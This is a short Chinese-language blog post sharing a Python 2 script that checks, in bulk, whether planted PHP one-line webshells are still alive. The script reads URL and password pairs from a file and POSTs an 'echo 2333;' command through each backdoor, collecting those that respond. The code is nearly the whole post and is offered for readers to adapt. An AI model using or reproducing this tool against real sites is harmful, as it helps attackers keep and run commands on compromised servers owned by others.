批量验证一句话存活

工作之初,有项任务是需要验证大批shell是否存活,然后就写了个py进行验证(当时还傻傻呆呆的一个一个去验证)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
def ShellDemo(url,pw):
list = []
text = '2333'
demo = 'echo 2333;'
try:
demo_data = {pw : demo}
re = requests.post(url = url, data = demo_data)
if (text in re.text):
list.append(url + "|" + pw)
print list
except Exception as e:
pass
def UrlPw():
shellfile = open("shell.txt",'r')
for shell in shellfile:
url = shell.split('|')[0]
pw = shell.split('|')[1].strip("\n")
ShellDemo(url,pw)
UrlPw()

代码能改进的地方有很多,大概个思路就是这样。根据自己的需求进行修改即可。
效果图:
批量验证一句话存活

!坚持技术分享,您的支持将鼓励我继续创作!